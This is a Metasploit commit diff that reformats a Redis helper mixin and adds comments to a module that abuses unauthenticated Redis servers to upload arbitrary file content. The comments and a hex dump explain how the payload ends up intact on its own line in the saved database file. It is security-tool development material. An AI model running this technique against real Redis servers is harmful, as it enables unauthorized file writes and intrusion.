Document the redis upload process more

bug/bundler_fix
Jon Hart 2015-12-10 09:35:46 -08:00
parent 48a27170c2
commit 555e52e416
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
2 changed files with 82 additions and 59 deletions

View File

@ -1,70 +1,69 @@
# -*- coding: binary -*-
require 'msf/core/exploit'
module Msf
###
#
# This module provides methods for working with redis
#
###
module Auxiliary::Redis
include Msf::Exploit::Remote::Tcp
include Auxiliary::Scanner
include Auxiliary::Report
###
#
# Initializes an instance of an auxiliary module that interacts with Redis
# This module provides methods for working with redis
#
###
module Auxiliary::Redis
include Msf::Exploit::Remote::Tcp
include Auxiliary::Scanner
include Auxiliary::Report
def initialize(info = {})
super
register_options(
[
Opt::RPORT(6379),
]
)
#
# Initializes an instance of an auxiliary module that interacts with Redis
#
register_advanced_options(
[
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
]
)
end
def initialize(info = {})
super
register_options(
[
Opt::RPORT(6379)
]
)
def peer
"#{rhost}:#{rport}"
end
def read_timeout
datastore['READ_TIMEOUT']
end
def redis_proto(commands)
return if commands.blank?
command = "*#{commands.length}\r\n"
commands.each do |c|
command << "$#{c.length}\r\n#{c}\r\n"
register_advanced_options(
[
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
]
)
end
command
end
def report_redis(version)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'redis',
info: "version #{version}"
)
end
def peer
"#{rhost}:#{rport}"
end
def send_redis_command(*commands)
sock.put(redis_proto(commands))
data = sock.get_once(-1, read_timeout)
return unless data
data.strip!
vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{Rex::Text.ascii_safe_hex(data, true)}")
data
def read_timeout
datastore['READ_TIMEOUT']
end
def redis_proto(commands)
return if commands.blank?
command = "*#{commands.length}\r\n"
commands.each do |c|
command << "$#{c.length}\r\n#{c}\r\n"
end
command
end
def report_redis(version)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'redis',
info: "version #{version}"
)
end
def send_redis_command(*commands)
sock.put(redis_proto(commands))
data = sock.get_once(-1, read_timeout)
return unless data
data.strip!
vprint_status("#{peer} -- redis command '#{Rex::Text.ascii_safe_hex(commands.join(' '), true)}' got '#{Rex::Text.ascii_safe_hex(data, true)}'")
data
end
end
end
end

View File

@ -18,7 +18,10 @@ class Metasploit3 < Msf::Auxiliary
Because redis is unprotected without a password set up.
),
'License' => MSF_LICENSE,
'Author' => ['Nixawk'],
'Author' => [
'Nixawk', # original metasploit module
'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
],
'References' => [
['URL', 'http://antirez.com/news/96'],
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
@ -60,6 +63,9 @@ class Metasploit3 < Msf::Auxiliary
return unless data.include?('+OK')
# set a key in this db that contains our content
# XXX: this does not work well (at all) if the content we are uploading is
# multiline. It also probably doesn't work well if the content isn't
# simple ASCII text
key = Rex::Text.rand_text_alpha(32)
data = send_redis_command('SET', key, content)
return unless data.include?('+OK')
@ -88,7 +94,25 @@ class Metasploit3 < Msf::Auxiliary
end
def setup
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile']
# this is the content we will upload if not running 'check'. We are
# setting a key/value pair in the database to something such that when the
# redis db is saved, the contents of what we are uploading will appear
# intact in the middle of the db itself. The hope is that something
# interpretting this file will ignore or be OK-enough with the rest of the
# file such that what we uploaded will be interpretted as if it contained
# only the contents of what we uploaded. For example, here is a nearly
# empty redis database that started with a single key (foo) value (bar)
# pair, and the contents of what we uploaded was the current data:
#
# 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo|
# 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS|
# 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl|
# 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec |
# 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST |
# 00000050 32 30 31 35 0a ff
#
# as you can see, the current date exists on its own on a separate line
@upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
end
def run_host(_ip)